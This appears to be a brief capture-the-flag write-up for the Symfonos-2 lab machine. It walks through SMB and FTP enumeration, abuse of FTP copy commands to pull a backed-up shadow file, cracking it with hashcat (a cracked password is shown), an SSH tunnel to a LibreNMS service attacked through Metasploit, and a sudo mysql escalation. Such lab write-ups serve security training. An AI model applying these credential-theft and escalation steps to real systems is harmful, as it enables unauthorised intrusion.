Symfonos-2

By Lawcky 20/01/24

Introduction

Symfonos-2

Difficulty : Medium

Additionnal info :

Name: symfonos: 2
Release date: 18 Jul 2019
Author: Zayotic
Series: symfonos

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them

---

In this write-up

• nmap
• enum4linux
• smbclient
• ftp
• exploits (manual)
• hashcat
• metasploit
• mysql setuid

---

Write-UP

FTP

trying anonymous

ftp anonymous@192.168.1.86

need an email address

---

FUZZING port 80

found nothing

---

Enum4Linux SMB

enum4linux 192.168.1.86

found unix user aeolus & cronus

found domain name SYMFONOS2

smbclient //192.168.1.86/anonymous -U anonymous

found in share anonymous

with a log file inside which is :

seems like aeolus is the user for the anonymous share we need to get his email address to access it

---

FTP rce

the ftp version is vulnerable to remote code execution --> here

the exploit didnt work

yet we can still run commands through the ftp and thanks to enum4linux we know the path of the smb anonymous share

/home/aoelus/share

and in the log.txt file we found the backups of the shadow file

/var/backups/shadow.bak

we can thus run

site cpfr /var/backups/shadow.bak
site cpto /home/aeolus/share/shadow.bak

on the ftp port and then access the samba share again

smbclient //192.168.1.86/anonymous -U anonymous

---

Hashcat

the attack mode

hashcat -m 1800 shadow.bak ~/tools/seclists/rockyou.txt

aeolus:sergioteamo

---

Privilege Escalation

from aeolus to root

1

found in the setuid

/usr/sbin/exim4 -bV -v

found an exploit for this version in exploit-db

we take the setuid version of this exploit and run it

did not work

---

2

found in the services running

could not find any database credentials for the mysql service so lets see for the other service running on 8080

ssh -L 10.8.0.6:1234:127.0.0.1:8080 aeolus@192.168.1.86

its a libreNMS service

aeolus:sergioteamo these credentials worked

could not find the version of the installation

searchsploit LibreNMS

lets try the remote code execution with metasploit

---

Privilege Escalation

from cronos to root

user cronos has mysql as a nopasswd sudo

using gtfobins

got the flag